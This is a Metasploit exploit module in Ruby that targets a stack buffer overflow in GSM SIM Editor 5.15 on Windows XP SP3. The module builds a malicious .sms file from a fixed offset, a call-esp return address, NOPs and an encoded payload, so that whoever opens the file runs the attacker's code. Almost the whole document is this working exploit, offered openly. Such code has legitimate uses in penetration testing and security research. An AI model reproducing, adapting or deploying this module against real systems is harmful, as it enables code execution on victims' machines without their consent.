GSM SIM Editor 5.15 Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'GSM SIM Editor 5.15 Buffer Overflow',  
'Description' => %q{  
This module exploits a stack-based buffer overflow in GSM SIM Editor 5.15.  
When opening a specially crafted .sms file in GSM SIM Editor a stack-based buffer   
overflow occurs which allows an attacker to execute arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Ruben Alejandro',  
'chap0 <contact.chap0[at]gmail.com>',  
'Lincoln <lincoln[at]corelan.be>'  
],  
'References' =>  
[  
[ 'URL', 'http://www.exploit-db.com/exploits/14258/' ]  
],  
'DefaultOptions' =>  
{  
'ExitFunction' => 'process',  
},  
'Platform' => 'win',  
'Payload' =>  
{  
'Space' => 2000,  
'BadChars' => "\x00",  
'DisableNops' => true,  
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # Stack adjustment #add esp, -3500  
},  
'Targets' =>  
[  
[ 'Windows XP SP3',  
{  
'Ret' => 0x00405201, # call esp - SIMEditor.exe  
'Offset' => 810  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => 'Jul 07 2010',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.sms']),  
], self.class)  
  
end  
  
def exploit  
buffer = rand_text_numeric(target['Offset'])  
buffer << [target.ret].pack('V').unpack("H*")[0]  
buffer << make_nops(30).unpack("H*")[0]  
buffer << payload.encoded.unpack("H*")[0]  
  
file_create(buffer)  
end  
  
end  
`